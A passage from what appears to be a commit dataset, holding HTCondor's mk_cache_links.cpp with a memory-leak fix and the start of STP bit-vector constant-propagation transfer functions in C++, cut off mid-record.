\"\n\t\t\t\t\t\t\t\t\t\t\t\"in InputFiles: %s\\n\", namePtr);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tdprintf(D_FULLDEBUG, \"mk_cache_links.cpp: Failed to generate \"\n\t\t\t\t\t\t\t\t\t\" hash link for %s\\n\", fullPath.c_str());\n\t\t\t}\n\t\t}\n\t\tfree( initialWorkingDir );\n\t\tif ( remap.Length() > 0 ) {\n\t\t\tMyString remapnew;\n\t\t\tchar *buf = NULL;\n\t\t\tif (Ad->LookupString(ATTR_TRANSFER_INPUT_REMAPS, &buf) == 1) {\n\t\t\t\tremapnew = buf;\n\t\t\t\tfree(buf);\n\t\t\t\tbuf = NULL;\n\t\t\t\tremapnew += \";\";\n\t\t\t} \n\t\t\tremapnew += remap;\n\t\t\tif (Ad->Assign(ATTR_TRANSFER_INPUT_REMAPS, remap.Value()) == false) {\n\t\t\t\tdprintf(D_ALWAYS, \"mk_cache_links.cpp: Could not add to jobAd: \"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"%s\\n\", remap.c_str());\n\t\t\t}\n\t\t}\n\t} \n\telse\t\n\t\tdprintf(D_FULLDEBUG, \"mk_cache_links.cpp: No public input files.\\n\");\n}\n\n#endif\n\n<commit_msg>Fixed potential memory leak (#6356)<commit_after>\/***************************************************************\n *\n * Copyright (C) 1990-2015, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License.\tYou may\n * obtain a copy of the License at\n * \n *\t\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n#include \"condor_common.h\"\n#include \"condor_attributes.h\"\n#include \"condor_classad.h\"\n#include \"condor_config.h\"\n#include \"condor_constants.h\"\n#include \"condor_uid.h\"\n#include \"condor_md.h\"\n#include \"directory_util.h\"\n#include \"filename_tools.h\"\n#include \"stat_wrapper.h\"\n#include <string> \n\n#ifndef WIN32\n\t#include <unistd.h>\n#endif\n\n#ifdef HAVE_HTTP_PUBLIC_FILES\n\nusing namespace std;\n\nnamespace {\t\/\/ Anonymous namespace to limit scope of names to this file\n\t\nconst int HASHNAMELEN = 17;\n\n\nstatic string MakeHashName(const char* fileName, time_t fileModifiedTime) {\n\n\tunsigned char hashResult[HASHNAMELEN * 3]; \/\/ Allocate extra space for safety.\n\n\t\/\/ Convert the modified time to a string object\n\tstd::string modifiedTimeStr = std::to_string((long long int) fileModifiedTime);\n\n\t\/\/ Create a new string which will be the source for our hash function.\n\t\/\/ This will append two strings:\n\t\/\/ 1. Full path to the file\n\t\/\/ 2. Modified time of the file\n\tunsigned char* hashSource = new unsigned char[strlen(fileName) \n\t\t\t\t\t\t\t\t\t+ strlen(modifiedTimeStr.c_str()) + 1];\n\tstrcpy( (char*) hashSource, fileName );\n\tstrcat( (char*) hashSource, modifiedTimeStr.c_str() );\n\n\t\/\/ Now calculate the hash\n\tmemcpy(hashResult, Condor_MD_MAC::computeOnce(hashSource,\n\t\tstrlen((const char*) hashSource)), HASHNAMELEN);\n\tchar entryHashName[HASHNAMELEN * 2]; \/\/ 2 chars per hex byte\n\tentryHashName[0] = '\\0';\n\tchar letter[3];\n\tfor (int i = 0; i < HASHNAMELEN - 1; ++i) {\n\t\tsprintf(letter, \"%x\", hashResult[i]);\n\t\tstrcat(entryHashName, letter);\n\t}\n\n\treturn entryHashName;\n}\n\n\n\/\/ WARNING! This code changes priv state. Be very careful if modifying it.\n\/\/ Do not return in the block of code where the priv has been set to either\n\/\/ condor or root. -zmiller\nstatic bool MakeLink(const char* srcFile, const string &newLink) {\n\tstd::string webRootDir;\n\tparam(webRootDir, \"HTTP_PUBLIC_FILES_ROOT_DIR\");\n\tif(webRootDir.empty()) {\n\t\tdprintf(D_ALWAYS, \"mk_cache_links.cpp: HTTP_PUBLIC_FILES_ROOT_DIR \"\n\t\t\t\t\t\t\"not set! Falling back to regular file transfer\\n\");\n\t\treturn (false);\n\t}\n\tchar goodPath[PATH_MAX];\n\tif (realpath(webRootDir.c_str(), goodPath) == NULL) {\n\t\tdprintf(D_ALWAYS, \"mk_cache_links.cpp: HTTP_PUBLIC_FILES_ROOT_DIR \"\n\t\t\t\"not a valid path: %s. Falling back to regular file transfer.\\n\",\n\t\t\twebRootDir.c_str());\n\t\treturn (false);\n\t}\n\tStatWrapper fileMode;\n\tbool fileOK = false;\n\tif (fileMode.Stat(srcFile) == 0) {\n\t\tconst StatStructType *statrec = fileMode.GetBuf();\n\t\tif (statrec != NULL)\n\t\t\tfileOK = (statrec->st_mode & S_IROTH); \/\/ Verify readable by all\n\t}\n\tif (fileOK == false) {\n\t\tdprintf(D_ALWAYS,\n\t\t\t\"Cannot transfer -- public input file not world readable: %s\\n\", srcFile);\n\t\treturn (false);\n\t}\n\n\n\t\/\/ see how we should create the link. There are a few options.\n\t\/\/ 1) As the condor user.\n\t\/\/ 2) As root, and then chown to the user.\n\t\/\/ 3) As root, and then chown to some other user (like \"httpd\")\n\tstd::string link_owner;\n\tparam(link_owner, \"HTTP_PUBLIC_FILES_USER\");\n\n\tuid_t link_uid = -1;\n\tgid_t link_gid = -1;\n\tbool create_as_root = false;\n\n\tpriv_state priv = PRIV_UNKNOWN;\n\n\tif (strcasecmp(link_owner.c_str(), \"<user>\") == 0) {\n\t\t\/\/ we'll do everything in user priv except use root\n\t\t\/\/ to create and chown the link\n\n\t\tlink_uid = get_user_uid();\n\t\tlink_gid = get_user_gid();\n\t\tcreate_as_root = true;\n\t\tpriv = set_user_priv();\n\t} else if (strcasecmp(link_owner.c_str(), \"<condor>\") == 0) {\n\t\t\/\/ in this case we do everything as the condor user since they\n\t\t\/\/ own the directory\n\n\t\tpriv = set_condor_priv();\n\t} else {\n\t\t\/\/ in this case we need to determine what uid they requested\n\t\t\/\/ and then do everything as that user. we set root priv and\n\t\t\/\/ then temporarily assume the uid and gid of the specified\n\t\t\/\/ user.\n\n\t\t\/\/ has to be a username and not just a uid, since otherwise it\n\t\t\/\/ isn't clear what gid we should use (if they aren't in the passwd\n\t\t\/\/ file, for instance) and we also save on lookups.\n\t\tbool isname = pcache()->get_user_ids(link_owner.c_str(), link_uid, link_gid);\n\t\tif (!isname) {\n\t\t\tdprintf(D_ALWAYS, \"ERROR: unable to look up HTTP_PUBLIC_FILES_USER (%s)\"\n\t\t\t\t\" in \/etc\/passwd.\\n\", link_owner.c_str());\n\n\t\t\t\/\/ we ARE allowed to return here because we have not\n\t\t\t\/\/ yet switched priv state in this case.\n\t\t\treturn false;\n\t\t}\n\n\t\tif (link_uid == 0 || link_gid == 0) {\n\t\t\tdprintf(D_ALWAYS, \"ERROR: HTTP_PUBLIC_FILES_USER (%s)\"\n\t\t\t\t\" in \/etc\/passwd has UID 0. Aborting.\\n\", link_owner.c_str());\n\n\t\t\t\/\/ we ARE allowed to return here because we have not\n\t\t\t\/\/ yet switched priv state in this case.\n\t\t\treturn false;\n\t\t}\n\n\n\t\t\/\/ now become the specified user for this operation.\n\t\tpriv = set_root_priv();\n\t\tif (setegid(link_gid)) {}\n\t\tif (seteuid(link_uid)) {}\n\t}\n\n\n\t\/\/ STARTING HERE, DO NOT RETURN FROM THIS FUNCTION WITHOUT RESETTING\n\t\/\/ THE ORIGINAL PRIV STATE.\n\n\t\/\/ we will now create or update the link\n\tconst char *const targetLink = dircat(goodPath, newLink.c_str()); \/\/ needs to be freed\n\tbool retVal = false;\n\tif (targetLink != NULL) {\n\t\t\/\/ Check if target already exists\n\t\tif (fileMode.Stat(targetLink, StatWrapper::STATOP_LSTAT) == 0) { \n\t\t\t\/\/ Good enough if link exists, ok if update fails\n\t\t\tretVal = true;\n\n\t\t\t\/\/ It is assumed that existing link points to srcFile.\n\t\t\t\/\/\n\t\t\t\/\/ I don't like this assumption. I think we need to\n\t\t\t\/\/ add username or uid to filename to prevent\n\t\t\t\/\/ accidents\/mischeif when two users happen to us the\n\t\t\t\/\/ same file. If user A then deletes or modifies the\n\t\t\t\/\/ file, user B is stuck with a link they probably\n\t\t\t\/\/ can't update. To be fixed ASAP. -zmiller\n\t\t\tconst StatStructType *statrec = fileMode.GetBuf();\n\t\t\tif (statrec != NULL) {\n\t\t\t\ttime_t filemtime = statrec->st_mtime;\n\t\t\t\t\/\/ Must be careful to operate on link, not target file.\n\t\t\t\t\/\/\n\t\t\t\t\/\/ This should be done AS THE OWNER OF THE FILE.\n\t\t\t\tif ((time(NULL) - filemtime) > 3600 && lutimes(targetLink, NULL) != 0) {\n\t\t\t\t\t\/\/ Update mod time, but only once an hour to avoid excess file access\n\t\t\t\t\tdprintf(D_ALWAYS, \"Could not update modification date on %s,\"\n\t\t\t\t\t\t\"error = %s\\n\", targetLink, strerror(errno));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdprintf(D_ALWAYS, \"Could not stat file %s\\n\", targetLink);\n\t\t\t}\n\t\t} else {\n\t\t\t\/\/ now create the link. we may need to do this as root and chown\n\t\t\t\/\/ it, depending on the create_as_root flag. if that's false, just\n\t\t\t\/\/ stay in the priv state we are in for creation and there's no need\n\t\t\t\/\/ to chown.\n\n\t\t\tpriv_state link_priv = PRIV_UNKNOWN;\n\t\t\tif (create_as_root) {\n\t\t\t\tlink_priv = set_root_priv();\n\t\t\t}\n\n\t\t\tif (symlink(srcFile, targetLink) == 0) {\n\t\t\t\t\/\/ so far, so good!\n\t\t\t\tretVal = true;\n\t\t\t} else {\n\t\t\t\tdprintf(D_ALWAYS, \"Could not link %s to %s, error = %s\\n\", srcFile,\n\t\t\t\t\ttargetLink, strerror(errno));\n\t\t\t}\n\n\t\t\tif (create_as_root) {\n\t\t\t\t\/\/ if we succesfully created the link, now chown to the user\n\t\t\t\tif (retVal && lchown(targetLink, link_uid, link_gid) != 0) {\n\t\t\t\t\t\/\/ chown didn't actually succeed, so this operation is now a failure.\n\t\t\t\t\tretVal = false;\n\n\t\t\t\t\t\/\/ destroy the evidence?\n\t\t\t\t\tunlink(targetLink);\n\n\t\t\t\t\tdprintf(D_ALWAYS, \"Could not change ownership of %s to %i:%i, error = %s\\n\",\n\t\t\t\t\t\ttargetLink, link_uid, link_gid, strerror(errno));\n\t\t\t\t}\n\n\t\t\t\t\/\/ either way, reset priv state\n\t\t\t\tset_priv(link_priv);\n\t\t\t}\n\t\t}\n\n\t\tdelete [] targetLink;\n\t}\n\n\t\/\/ return to original privilege level, and exit\n\tset_priv(priv);\n\n\treturn retVal;\n}\n\nstatic string MakeAbsolutePath(const char* path, const char* initialWorkingDir) {\n\tif (is_relative_to_cwd(path)) {\n\t\tstring fullPath = initialWorkingDir;\n\t\tfullPath += DIR_DELIM_CHAR;\n\t\tfullPath += path;\n\t\treturn (fullPath);\n\t}\n\treturn (path);\n}\n\n} \/\/ end namespace\n\nvoid ProcessCachedInpFiles(ClassAd *const Ad, StringList *const InputFiles,\n\tStringList &PubInpFiles) {\n\n\tchar *initialWorkingDir = NULL;\n\tconst char *path;\n\tMyString remap;\n\tstruct stat fileStat;\n\ttime_t fileModifiedTime = time(NULL);\n\n\tif (PubInpFiles.isEmpty() == false) {\n\t\tconst char *webServerAddress = param(\"HTTP_PUBLIC_FILES_ADDRESS\");\n\n\t\t\/\/ If a web server address is not defined, exit quickly. The file\n\t\t\/\/ transfer will go on using the regular CEDAR protocol.\n\t\tif(!webServerAddress) {\n\t\t\tdprintf(D_FULLDEBUG, \"mk_cache_links.cpp: HTTP_PUBLIC_FILES_ADDRESS \"\n\t\t\t\t\t\t\t\"not set! Falling back to regular file transfer\\n\");\n\t\t\treturn;\n\t\t}\n\n\t\t\/\/ Build out the base URL for public files\n\t\tstring url = \"http:\/\/\";\n\t\turl += webServerAddress; \n\t\turl += \"\/\";\n\n\t\tPubInpFiles.rewind();\n\t\t\n\t\tif (Ad->LookupString(ATTR_JOB_IWD, &initialWorkingDir) != 1) {\n\t\t\tdprintf(D_FULLDEBUG, \"mk_cache_links.cpp: Job ad did not have an \"\n\t\t\t\t\"initialWorkingDir! Falling back to regular file transfer\\n\");\n\t\t\treturn;\n\t\t}\n\t\twhile ((path = PubInpFiles.next()) != NULL) {\n\t\t\t\/\/ Determine the full path of the file to be transferred\n\t\t\tstring fullPath = MakeAbsolutePath(path, initialWorkingDir);\n\n\t\t\t\/\/ Determine the time last modified of the file to be transferred\n\t\t\tif( stat( fullPath.c_str(), &fileStat ) == 0 ) {\n\t\t\t\tstruct timespec fileTime = fileStat.st_mtim;\n\t\t\t\tfileModifiedTime = fileTime.tv_sec;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tdprintf(D_FULLDEBUG, \"mk_cache_links.cpp: Unable to access file \"\n\t\t\t\t\t\"%s. Falling back to regular file transfer\\n\", fullPath.c_str());\n\t\t\t\tfree( initialWorkingDir );\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tstring hashName = MakeHashName( fullPath.c_str(), fileModifiedTime );\n\t\t\tif (MakeLink(fullPath.c_str(), hashName)) {\n\t\t\t\tInputFiles->remove(path); \/\/ Remove plain file name from InputFiles\n\t\t\t\tremap += hashName;\n\t\t\t\tremap += \"=\";\n\t\t\t\tremap += basename(path);\n\t\t\t\tremap += \";\";\n\t\t\t\thashName = url + hashName;\n\t\t\t\tconst char *const namePtr = hashName.c_str();\n\t\t\t\tif ( !InputFiles->contains(namePtr) ) {\n\t\t\t\t\tInputFiles->append(namePtr);\n\t\t\t\t\tdprintf(D_FULLDEBUG, \"mk_cache_links.cpp: Adding url to \"\n\t\t\t\t\t\t\t\t\t\t\t\t\"InputFiles: %s\\n\", namePtr);\n\t\t\t\t} \n\t\t\t\telse dprintf(D_FULLDEBUG, \"mk_cache_links.cpp: url already \"\n\t\t\t\t\t\t\t\t\t\t\t\"in InputFiles: %s\\n\", namePtr);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tdprintf(D_FULLDEBUG, \"mk_cache_links.cpp: Failed to generate \"\n\t\t\t\t\t\t\t\t\t\" hash link for %s\\n\", fullPath.c_str());\n\t\t\t}\n\t\t}\n\t\tfree( initialWorkingDir );\n\t\tif ( remap.Length() > 0 ) {\n\t\t\tMyString remapnew;\n\t\t\tchar *buf = NULL;\n\t\t\tif (Ad->LookupString(ATTR_TRANSFER_INPUT_REMAPS, &buf) == 1) {\n\t\t\t\tremapnew = buf;\n\t\t\t\tfree(buf);\n\t\t\t\tbuf = NULL;\n\t\t\t\tremapnew += \";\";\n\t\t\t} \n\t\t\tremapnew += remap;\n\t\t\tif (Ad->Assign(ATTR_TRANSFER_INPUT_REMAPS, remap.Value()) == false) {\n\t\t\t\tdprintf(D_ALWAYS, \"mk_cache_links.cpp: Could not add to jobAd: \"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"%s\\n\", remap.c_str());\n\t\t\t}\n\t\t}\n\t} \n\telse\t\n\t\tdprintf(D_FULLDEBUG, \"mk_cache_links.cpp: No public input files.\\n\");\n}\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>#include \"ConstantBitP_TransferFunctions.h\"\n#include \"ConstantBitP_Utility.h\"\n\nnamespace simplifier\n{\nnamespace constantBitP\n{\n\nnamespace BEEV\n{\ntypedef unsigned int * CBV;\n}\n\n\/\/ Misc (easy) transfer functions.\n\/\/ Trevor Hansen. BSD License.\n\n\/\/ if the result is fixed to true. Then fix a==b.\n\/\/ if the result is fixed to false, there is a single unspecied value, and all the rest are the same. Fix it to the opposite.\n\n\/\/ if a==b then fix the result to true.\n\/\/ if a!=b then fix the result to false.\nResult bvEqualsBothWays(FixedBits& a, FixedBits& b, FixedBits& output)\n{\n\tassert(a.getWidth() == b.getWidth());\n\tassert(1 == output.getWidth());\n\n\tconst int childWidth = a.getWidth();\n\n\tResult r = NO_CHANGE;\n\n\tbool allSame = true;\n\tbool definatelyFalse = false;\n\n\tfor (int i = 0; i < childWidth; i++)\n\t{\n\t\t\/\/ if both fixed\n\t\tif (a.isFixed(i) && b.isFixed(i))\n\t\t{\n\t\t\t\/\/ And have different values.\n\t\t\tif (a.getValue(i) != b.getValue(i))\n\t\t\t{\n\t\t\t\tdefinatelyFalse = true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tallSame &= true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\t\tallSame &= false;\n\t}\n\n\tif (definatelyFalse)\n\t{\n\t\tif (output.isFixed(0) && output.getValue(0))\n\t\t{\n\t\t\treturn CONFLICT;\n\t\t}\n\t\telse if (!output.isFixed(0))\n\t\t{\n\t\t\toutput.setFixed(0, true);\n\t\t\toutput.setValue(0, false);\n\t\t\tr = CHANGED;\n\t\t}\n\t}\n\telse if (allSame)\n\t{\n\t\tif (output.isFixed(0) && !output.getValue(0))\n\t\t{\n\t\t\treturn CONFLICT;\n\t\t}\n\t\telse if (!output.isFixed(0))\n\t\t{\n\t\t\toutput.setFixed(0, true);\n\t\t\toutput.setValue(0, true);\n\t\t\tr = CHANGED;\n\t\t}\n\t}\n\n\tif (output.isFixed(0) && output.getValue(0)) \/\/ all should be the same.\n\t{\n\t\tfor (int i = 0; i < childWidth; i++)\n\t\t{\n\t\t\tif (a.isFixed(i) && b.isFixed(i))\n\t\t\t{\n\t\t\t\tif (a.getValue(i) != b.getValue(i))\n\t\t\t\t{\n\t\t\t\t\treturn CONFLICT;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (a.isFixed(i) != b.isFixed(i)) \/\/ both same but only one is fixed.\n\t\t\t{\n\t\t\t\tif (a.isFixed(i))\n\t\t\t\t{\n\t\t\t\t\tb.setFixed(i, true);\n\t\t\t\t\tb.setValue(i, a.getValue(i));\n\t\t\t\t\tr = CHANGED;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\ta.setFixed(i, true);\n\t\t\t\t\ta.setValue(i, b.getValue(i));\n\t\t\t\t\tr = CHANGED;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ if the result is fixed to false, there is a single unspecied value, and all the rest are the same. Fix it to the opposite.\n\tif (output.isFixed(0) && !output.getValue(0))\n\t{\n\t\tint unknown = 0;\n\n\t\tfor (int i = 0; i < childWidth; i++)\n\t\t{\n\t\t\tif (!a.isFixed(i))\n\t\t\t\tunknown++;\n\t\t\tif (!b.isFixed(i))\n\t\t\t\tunknown++;\n\t\t\telse if (a.isFixed(i) && b.isFixed(i) && a.getValue(i) != b.getValue(i))\n\t\t\t{\n\t\t\t\tunknown = 10; \/\/ hack, don't do the next loop.\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (1 == unknown)\n\t\t{\n\t\t\tfor (int i = 0; i < childWidth; i++)\n\t\t\t{\n\t\t\t\tif (!a.isFixed(i))\n\t\t\t\t{\n\t\t\t\t\ta.setFixed(i, true);\n\t\t\t\t\ta.setValue(i, !b.getValue(i));\n\t\t\t\t\tr = CHANGED;\n\t\t\t\t}\n\t\t\t\tif (!b.isFixed(i))\n\t\t\t\t{\n\t\t\t\t\tb.setFixed(i, true);\n\t\t\t\t\tb.setValue(i, !a.getValue(i));\n\t\t\t\t\tr = CHANGED;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn r;\n}\n\nResult bvEqualsBothWays(vector<FixedBits*>& children, FixedBits& result)\n{\n\treturn bvEqualsBothWays(*(children[0]), *(children[1]), result);\n}\n\nResult bvZeroExtendBothWays(vector<FixedBits*>& children, FixedBits& output)\n{\n\tassert(children.size() ==2 );\n\t\/\/ The second argument is a junk size arugment.\n\n\n\tFixedBits& input = *children[0];\n\tconst int inputBitWidth = input.getWidth();\n\tconst int outputBitWidth = output.getWidth();\n\n\tResult result = makeEqual(input, output, 0, inputBitWidth);\n\tif (CONFLICT == result)\n\t\treturn CONFLICT;\n\n\t\/\/ Fix all the topmost bits of the output to zero.\n\tfor (int i = inputBitWidth; i < outputBitWidth; i++)\n\t{\n\t\tif (output.isFixed(i) && output.getValue(i))\n\t\t\treturn CONFLICT; \/\/ set to one. Never right.\n\t\telse if (!output.isFixed(i))\n\t\t{\n\t\t\toutput.setFixed(i, true);\n\t\t\toutput.setValue(i, false);\n\t\t\tresult = CHANGED;\n\t\t}\n\t}\n\treturn result;\n}\n\nResult bvSignExtendBothWays(vector<FixedBits*>& children, FixedBits& output)\n{\n\tassert(children.size() ==2 );\n\t\/\/ The second argument is a junk size arugment.\n\n\tFixedBits& input = *children[0];\n\tconst int inputBitWidth = input.getWidth();\n\tconst int outputBitWidth = output.getWidth();\n\tassert(inputBitWidth <= outputBitWidth);\n\n\tResult result = makeEqual(input, output, 0, inputBitWidth);\n\tif (CONFLICT == result)\n\t\treturn CONFLICT;\n\n\t\/\/ If any of the topmost bits of the output are fixed. Then they all should be.\n\t\/\/ They should all be fixed to the same value.\n\tbool found = false;\n\tbool setTo;\n\tfor (int i = inputBitWidth - \/**\/1 \/**\/; i < outputBitWidth; i++)\n\t{\n\t\tif (output.isFixed(i))\n\t\t{\n\t\t\tsetTo = output.getValue(i);\n\t\t\tfound = true;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (found)\n\t{\n\t\tfor (int i = inputBitWidth - 1; i < outputBitWidth; i++)\n\t\t{\n\t\t\tif (output.isFixed(i) && (output.getValue(i) != setTo))\n\t\t\t\treturn CONFLICT; \/\/ if any are set to the wrong value! bad.\n\t\t\telse if (!output.isFixed(i))\n\t\t\t{\n\t\t\t\toutput.setFixed(i, true);\n\t\t\t\toutput.setValue(i, setTo);\n\t\t\t\tresult = CHANGED;\n\t\t\t}\n\t\t}\n\n\t\tResult result2 = makeEqual(input, output, 0, inputBitWidth);\n\t\tif (CONFLICT == result2)\n\t\t\treturn CONFLICT;\n\n\t}\n\treturn result;\n}\n\nResult bvExtractBothWays(vector<FixedBits*>& children, FixedBits& output)\n{\n\tconst int numberOfChildren = children.size();\n\tconst int outputBitWidth = output.getWidth();\n\n\tResult result = NO_CHANGE;\n\n\tassert(3 == numberOfChildren);\n\n\tint top = children[1]->getUnsignedValue();\n\tint bottom = children[2]->getUnsignedValue();\n\n\tFixedBits& input = *(children[0]);\n\n\tassert(top >= bottom);\n\tassert(bottom >=0);\n\tassert(top - bottom + 1 == outputBitWidth);\n\tassert(top < input.getWidth());\n\n\tfor (int outputPosition = 0; outputPosition < outputBitWidth; outputPosition++)\n\t{\n\t\tint inputPosition = outputPosition + bottom;\n\n\t\tif (input.isFixed(inputPosition) && output.isFixed(outputPosition))\n\t\t\tif (input.getValue(inputPosition) ^ output.getValue(outputPosition))\n\t\t\t\treturn CONFLICT;\n\n\t\tif (input.isFixed(inputPosition) ^ output.isFixed(outputPosition))\n\t\t{\n\t\t\tif (input.isFixed(inputPosition))\n\t\t\t{\n\t\t\t\toutput.setFixed(outputPosition, true);\n\t\t\t\toutput.setValue(outputPosition, input.getValue(inputPosition));\n\t\t\t\tresult = CHANGED;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tinput.setFixed(inputPosition, true);\n\t\t\t\tinput.setValue(inputPosition, output.getValue(outputPosition));\n\t\t\t\tresult = CHANGED;\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/cerr << \"extract[\" << top << \":\" << bottom << \"]\" << input << \"=\" << output<< endl;\n\n\treturn result;\n}\n\n\/\/ UMINUS, is NEG followed by +1\nResult bvUnaryMinusBothWays(vector<FixedBits*>& children, FixedBits& output)\n{\n\tassert(children.size() == 1);\n\tconst int bitWidth = children[0]->getWidth();\n\n\t\/\/ If it's only one bit. This will be negative one.\n\tFixedBits one(bitWidth, false);\n\tone.fixToZero();\n\tone.setFixed(0, true);\n\tone.setValue(0, true);\n\n\tFixedBits notted(bitWidth, false);\n\n\tvector<FixedBits*> args;\n\targs.push_back(¬ted);\n\targs.push_back(&one);\n\n\tResult result = NO_CHANGE;\n\twhile (true) \/\/ until it fixed points\n\t{\n\t\tFixedBits initialNot(notted);\n\t\tFixedBits initialIn(*children[0]);\n\t\tFixedBits initialOut(output);\n\n\t\tresult = bvNotBothWays(*children[0], notted);\n\t\tif (CONFLICT == result)\n\t\t\treturn CONFLICT;\n\n\t\tresult = bvAddBothWays(args, output);\n\t\tif (CONFLICT == result)\n\t\t\treturn CONFLICT;\n\n\t\tif (FixedBits::equals(initialNot, notted) && FixedBits::equals(initialIn, *children[0]) && FixedBits::equals(initialOut, output))\n\t\t\tbreak;\n\t}\n\n\treturn NOT_IMPLEMENTED; \/\/ don't set the status properly yet..\n}\n\nResult bvConcatBothWays(vector<FixedBits*>& children, FixedBits& output)\n{\n\tResult r = NO_CHANGE;\n\tconst int numberOfChildren = children.size();\n\tint current = 0;\n\tfor (int i = numberOfChildren - 1; i >= 0; i--) \/\/ least significant is last.\n\n\t{\n\t\tFixedBits& child = *children[i];\n\t\tfor (int j = 0; j < child.getWidth(); j++)\n\t\t{\n\t\t\t\/\/ values are different. Bad.\n\t\t\tif (output.isFixed(current) && child.isFixed(j) && (output.getValue(current) != child.getValue(j)))\n\t\t\t\treturn CONFLICT;\n\n\t\t\tif (output.isFixed(current) && !child.isFixed(j))\n\t\t\t{\n\t\t\t\t\/\/ only output is fixed.\n\t\t\t\tchild.setFixed(j, true);\n\t\t\t\tchild.setValue(j, output.getValue(current));\n\t\t\t\tr = CHANGED;\n\t\t\t}\n\t\t\telse if (!output.isFixed(current) && child.isFixed(j))\n\t\t\t{\n\t\t\t\t\/\/ only input is fixed.\n\t\t\t\toutput.setFixed(current, true);\n\t\t\t\toutput.setValue(current, child.getValue(j));\n\t\t\t\tr = CHANGED;\n\t\t\t}\n\t\t\tcurrent++;\n\t\t}\n\t}\n\treturn r;\n}\n\n\/\/ If the guard is fixed, make equal the appropriate input and output.\n\/\/ If one input can not possibly be the output. Then set the guard to make it the other one.\n\/\/ If both values are the same. Set the output to that value.\nResult bvITEBothWays(vector<FixedBits*>& children, FixedBits& output)\n{\n\tResult result = NO_CHANGE;\n\n\tassert(3 == children.size());\n\tconst int bitWidth = output.getWidth();\n\tFixedBits& guard = *children[0];\n\tFixedBits& c1 = *children[1];\n\tFixedBits& c2 = *children[2];\n\n\tassert(c1.getWidth() == c2.getWidth());\n\tassert(output.getWidth() == c2.getWidth());\n\n\tif (guard.isFixed(0) && guard.getValue(0))\n\t{ \/\/ guard fixed to true. So make (first arg == output)\n\t\tresult = makeEqual(output, c1, 0, bitWidth);\n\t\tif (CONFLICT == result)\n\t\t\treturn CONFLICT;\n\n\t}\n\telse if (guard.isFixed(0) && !guard.getValue(0))\n\t{\n\t\tresult = makeEqual(output, c2, 0, bitWidth);\n\t\tif (CONFLICT == result)\n\t\t\treturn CONFLICT;\n\n\t}\n\telse\n\t{\n\t\tfor (int i = 0; i < bitWidth; i++)\n\t\t{\n\t\t\tif (c1.isFixed(i) && c2.isFixed(i) && (c1.getValue(i) == c2.getValue(i)))\n\t\t\t{\n\n\t\t\t\tif (output.isFixed(i) && (output.getValue(i) != c1.getValue(i)))\n\t\t\t\t\treturn CONFLICT;\n\n\t\t\t\tif (!output.isFixed(i))\n\t\t\t\t{\n\t\t\t\t\toutput.setFixed(i, true);\n\t\t\t\t\toutput.setValue(i, c1.getValue(i));\n\t\t\t\t\tresult = CHANGED;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tbool changed = false;\n\tif (CHANGED == result)\n\t\tchanged = true;\n\n\tfor (int i = 0; i < bitWidth; i++)\n\t{\n\t\tif (output.isFixed(i))\n\t\t{\n\t\t\tif (c1.isFixed(i) && (c1.getValue(i) != output.getValue(i)))\n\t\t\t{\n\t\t\t\t\/\/c1 is fixed to a value that's not the same as the output.\n\t\t\t\tif (!guard.isFixed(0))\n\t\t\t\t{\n\t\t\t\t\tguard.setFixed(0, true);\n\t\t\t\t\tguard.setValue(0, false);\n\t\t\t\t\tresult = bvITEBothWays(children, output);\n\t\t\t\t\tif (CONFLICT == result)\n\t\t\t\t\t\treturn CONFLICT;\n\t\t\t\t\tchanged = true;\n\t\t\t\t}\n\t\t\t\telse if (guard.getValue(0))\n\t\t\t\t\treturn CONFLICT;\n\t\t\t}\n\n\t\t\tif (c2.isFixed(i) && (c2.getValue(i) != output.getValue(i)))\n\t\t\t{\n\t\t\t\t\/\/c2 is fixed to a value that's not the same as the output.\n\t\t\t\tif (!guard.isFixed(0))\n\t\t\t\t{\n\t\t\t\t\tguard.setFixed(0, true);\n\t\t\t\t\tguard.setValue(0, true);\n\t\t\t\t\tresult = bvITEBothWays(children, output);\n\t\t\t\t\tif (CONFLICT == result)\n\t\t\t\t\t\treturn CONFLICT;\n\t\t\t\t\tchanged = true;\n\n\t\t\t\t}\n\t\t\t\telse if (!guard.getValue(0))\n\t\t\t\t\treturn CONFLICT;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (result == CONFLICT)\n\t\treturn CONFLICT;\n\tif (changed)\n\t\treturn CHANGED;\n\n\treturn result;\n}\n\n}\n\n}\n<commit_msg>Slightly speed up the equals propagator.<commit_after>#include \"ConstantBitP_TransferFunctions.h\"\n#include \"ConstantBitP_Utility.h\"\n\nnamespace simplifier\n{\nnamespace constantBitP\n{\n\nnamespace BEEV\n{\ntypedef unsigned int * CBV;\n}\n\n\/\/ Misc (easy) transfer functions.\n\/\/ Trevor Hansen. BSD License.\n\n\/\/ if the result is fixed to true. Then fix a==b.\n\/\/ if the result is fixed to false, there is a single unspecied value, and all the rest are the same. Fix it to the opposite.\n\n\/\/ if a==b then fix the result to true.\n\/\/ if a!=b then fix the result to false.\nResult 